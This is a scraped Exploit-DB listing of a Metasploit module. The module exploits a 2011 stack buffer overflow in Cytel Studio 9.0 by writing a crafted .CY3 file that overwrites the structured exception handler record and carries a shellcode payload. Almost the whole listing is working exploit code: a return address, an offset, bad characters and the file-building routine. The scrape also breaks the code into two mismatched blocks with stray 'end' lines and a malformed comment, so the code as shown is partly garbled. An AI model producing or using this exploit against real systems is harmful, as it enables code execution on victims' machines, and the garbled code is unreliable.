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Cytel Studio 9.0 - '.CY3' Local Stack Buffer Overflow (Metasploit)

EDB-ID:

18027

CVE:

EDB Verified: 

Author:

[METASPLOIT](#)

Type:

[LOCAL](#)

Exploit:  

Platform:

[WINDOWS](#)

Date:

2011-10-24

Vulnerable App:



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```
##
# $Id: cytel_studio_cy3.rb 14041 2011-10-24 01:39:11Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Cytel Studio 9.0 (CY3 File) Stack Buffer
Overflow',
      'Description' => %q{
        This module exploits a stack based buffer overflow
found
        in Cytel Studio <= 9.0. The overflow is triggered during
the
        copying of strings to a stack buffer of 256 bytes.
      },
      'License' => MSF_LICENSE,
      'Author' =>
        [
          'Luigi Auriemma', # Initial Discovery/PoC
          'James Fitts' # Metasploit Module (Thx Juan &
Jeff)
        ],
      'Version' => '$Revision: 14041 $',
      'References' =>
        [
          [ 'OSVDB', '75991' ],
          [ 'BID', '49924' ],
          [ 'URL', 'http://alugi.altervista.org/adv/cytel_1-
adv.txt' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => 'true',
        },
      'Payload' =>
        {
          'Space' => 1000,
          'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x1a\x20",
        },
      'Platform' => 'win',
      'Targets' =>
        [
          [
            # File version 8.0.0.1
            'Cytel Studio 9.0',
            {
              'Ret' => 0x73e58e01, # p/p/r mfc42.dll
              'Offset' => 500
            }
          ],
        ],
    ],
  end
end
```



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```

        'Privileged' => false,
        'DisclosureDate' => 'Oct 02 2011',
        'DefaultTarget' => 0))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.',
'msf.cy3' ]),
      ], self.class)
    end

    def exploit
      cy3 = "90\n150 1\n1\ntest\n"
      cy3 << rand_text_alpha_upper(target['Offset'])
      cy3 << generate_seh_record(target.ret)
      cy3 << rand_text_alpha_upper(8)
      cy3 << payload.encoded
      cy3 << rand_text_alpha_upper(5000 - cy3.length)

      print_status("Creating '#{datastore['FILENAME']}' file ...")

      file_create(cy3)
    end
  end

=end
During testing, the offset for Jeff was different. But the three of us have
NOT
been unable to reproduce the same problem. All this was tested on:
XP SP3, Vista SP0/SP1, Win 7
=end

```

Tags: [Metasploit Framework](#)
([MSE](#)).

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